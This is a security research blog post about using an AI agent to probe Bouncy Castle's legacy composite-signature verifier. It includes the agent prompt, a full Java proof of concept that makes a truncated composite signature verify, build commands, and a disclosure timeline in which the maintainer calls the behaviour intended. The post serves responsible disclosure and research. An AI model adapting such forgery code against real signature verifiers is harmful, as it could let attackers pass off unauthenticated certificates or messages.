ai × crypto

Bouncy Castle: A Composite "Bypass" in a Legacy OID

April 21, 2026 · bc-java · composite signatures · legacy OID · verification

I started this one the boring way: pick a widely deployed crypto library, pick a security property, and stare at the verifier until something feels off. For me that library was Bouncy Castle, and the property was hybrid/composite signatures: the whole promise is that you don't get to "downgrade" to the weakest component.

Step 1: Choose the Target

I was looking at crypto-heavy Java ecosystems and kept circling back to bc-java because it sits under a lot of real certificate and CMS verification paths. Composite signatures looked like the right surface area: lots of ASN.1 parsing, multiple algorithms, and policy decisions embedded in code.

Step 2: The Prompt and Setup

The trick (for me) wasn't "ask the model to find bugs". It was: give it the threat model and the standards context, then force it to prove the claim with an executable PoC.

  • Model: Codex 5.2 with agent loops (about 18 minutes on my run).
  • Context: certificate/signature verification expectations (RFC 5280) plus composite-signature draft notes (IETF draft).
  • Constraint: only count it if it ends in a minimal reproducer.

The Prompt I Used

You are reviewing bc-java for composite/hybrid signature verification bypasses.

Threat model: an attacker can choose signature bytes, but does not control the verifier's public key.
Goal: find any path where a composite signature that SHOULD require all components can be made to validate
by omitting/truncating components or by exploiting ASN.1 parsing.

Focus areas:
- legacy composite OID 1.3.6.1.4.1.18227.2.1 (id_alg_composite)
- JcaContentVerifierProviderBuilder / certificate/CMS verification paths

Deliverables:
1) exact code location and why it's a bypass
2) a minimal Java PoC that prints verify=true for a forged/truncated signature
3) commands to build and run it against bc-java
Why the prompt mattered:
Composite signatures are a policy promise. Without explicit "what must hold", you can find a weird behavior and mislabel it.

Step 3: The Bypass (Legacy Composite OID)

The path I landed on was the legacy composite verifier in pkix/src/main/java/org/bouncycastle/operator/jcajce/JcaContentVerifierProviderBuilder.java for OID 1.3.6.1.4.1.18227.2.1 (id_alg_composite). (source)

The bug-shaped behavior is simple: the verifier iterates over the number of elements present in the signature SEQUENCE (sigSeq.size()). It does not enforce that the signature contains as many components as the algorithm parameters and public key imply. So a truncated signature sequence becomes "verify only the prefix".

// simplified shape of the legacy verifier
ASN1Sequence sigSeq = ASN1Sequence.getInstance(expected);
for (int i = 0; i != sigSeq.size(); i++) {   // bound is attacker-controlled
  if (sigs[i] != null) {
    if (!sigs[i].verify(componentBytes(i))) failed = true;
  }
}
return !failed & atLeastOneChecked;

Proof of Concept

This PoC signs only with RSA, then wraps that RSA signature as a 1-element composite signature, and verifies it against a 2-component composite public key (RSA + ECDSA). The verifier prints verify=true.

CompositeTruncPoC.java

import java.io.OutputStream;
import java.nio.charset.StandardCharsets;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Security;
import java.security.Signature;
import java.security.spec.ECGenParameterSpec;

import org.bouncycastle.asn1.ASN1EncodableVector;
import org.bouncycastle.asn1.ASN1Encoding;
import org.bouncycastle.asn1.DERBitString;
import org.bouncycastle.asn1.DERSequence;
import org.bouncycastle.asn1.misc.MiscObjectIdentifiers;
import org.bouncycastle.asn1.x509.AlgorithmIdentifier;
import org.bouncycastle.jce.provider.BouncyCastleProvider;
import org.bouncycastle.jcajce.CompositePublicKey;
import org.bouncycastle.operator.ContentVerifier;
import org.bouncycastle.operator.ContentVerifierProvider;
import org.bouncycastle.operator.DefaultSignatureAlgorithmIdentifierFinder;
import org.bouncycastle.operator.jcajce.JcaContentVerifierProviderBuilder;

public class CompositeTruncPoC {
    public static void main(String[] args) throws Exception {
        Security.addProvider(new BouncyCastleProvider());

        KeyPairGenerator rsaGen = KeyPairGenerator.getInstance("RSA");
        rsaGen.initialize(2048);
        KeyPair rsa = rsaGen.generateKeyPair();

        KeyPairGenerator ecGen = KeyPairGenerator.getInstance("EC");
        ecGen.initialize(new ECGenParameterSpec("secp256r1"));
        KeyPair ec = ecGen.generateKeyPair();

        byte[] msg = "hello".getBytes(StandardCharsets.UTF_8);

        // Sign only with RSA
        Signature rsaSig = Signature.getInstance("SHA256withRSA", "BC");
        rsaSig.initSign(rsa.getPrivate());
        rsaSig.update(msg);
        byte[] rsaSigBytes = rsaSig.sign();

        // Composite alg ID params: [SHA256withRSA, SHA256withECDSA]
        DefaultSignatureAlgorithmIdentifierFinder algFinder = new DefaultSignatureAlgorithmIdentifierFinder();
        AlgorithmIdentifier rsaAlg = algFinder.find("SHA256WITHRSA");
        AlgorithmIdentifier ecdsaAlg = algFinder.find("SHA256WITHECDSA");
        ASN1EncodableVector algs = new ASN1EncodableVector();
        algs.add(rsaAlg);
        algs.add(ecdsaAlg);
        AlgorithmIdentifier compAlg = new AlgorithmIdentifier(
            MiscObjectIdentifiers.id_alg_composite, new DERSequence(algs));

        // Truncated composite signature: only RSA component
        ASN1EncodableVector sigV = new ASN1EncodableVector();
        sigV.add(new DERBitString(rsaSigBytes));
        byte[] truncatedSig = new DERSequence(sigV).getEncoded(ASN1Encoding.DER);

        // Verify with composite public key (RSA + ECDSA)
        CompositePublicKey compPub = new CompositePublicKey(rsa.getPublic(), ec.getPublic());
        ContentVerifierProvider cvp = new JcaContentVerifierProviderBuilder()
            .setProvider("BC").build(compPub);
        ContentVerifier verifier = cvp.get(compAlg);

        OutputStream vOut = verifier.getOutputStream();
        vOut.write(msg);
        vOut.close();

        System.out.println("verify=" + verifier.verify(truncatedSig));
    }
}

Build and Run (macOS)

cd /Users/zero/Desktop/sig/bc-java
./gradlew :prov:jar :pkix:jar

javac -cp "prov/build/libs/*:pkix/build/libs/*" CompositeTruncPoC.java
java -cp ".:prov/build/libs/*:pkix/build/libs/*" CompositeTruncPoC

Expected Output

verify=true

Report Timeline

Sun, Jan 18, 2026 · 8:28 PM
I emailed feedback-crypto@bouncycastle.org with the summary, PoC, and reproduction steps.
Wed, Jan 21, 2026 · 9:42 AM
David Hook replied that this OID is the earlier experimental composite where the algorithm was either or both.
Maintainer response (short quote):
"earlier experimental OID for composite where the algorithm was either or both. We probably will eventually delete this version altogether."

Fair enough. My original security claim assumed "AND" semantics (all components must verify). For this legacy experimental OID, Bouncy Castle treats it as "either-or-both", so truncation is not a bypass in their intended policy model. This is also consistent with bc-java tests that verify a composite-signed certificate using only one component key. (test reference)

Fast Forward: Mythos, Glasswing, and CVE-2026-5588

Months later, the Mythos/Glasswing hype hit. While I was reading Anthropic's Mythos preview post, I noticed how close their workflow feels to what I was doing in January: a strong model, a scaffold, and a prompt that forces the system to produce a concrete, runnable report. The post is authored by Nicholas Carlini and others at Anthropic, and it explicitly calls out "crypto libraries" as a class of high-impact targets. (Mythos / Glasswing preview)

While following that thread, I ended up at CVE-2026-5588, which is in the same neighborhood: the legacy composite verifier accepting an empty signature sequence (30 00) as valid. The fix adds an atLeastOneChecked guard (commit 656bae0db, April 5, 2026). (commit, NVD)

My personal analysis (and it is only that): the Mythos post doesn't name the specific repositories they tested, and the CVE record is sourced from Bouncy Castle ("bcorg"). But given the timing, and given that their post talks about crypto libraries, it made me wonder whether bc-java could have been one of the kinds of libraries in scope. I don't know, and I'm not claiming it was. I was just happy to see the pattern show up publicly: subtle verifier acceptance conditions that become obvious once you force the tooling to produce a minimal reproducer.


Model Quality Matters, but Context Is King

The lesson I keep taking from this: agentic tooling is an amplifier, not a substitute. The prompt, the references, and the threat model are what turned "read this repo" into a concrete PoC. Model quality matters, but context is king.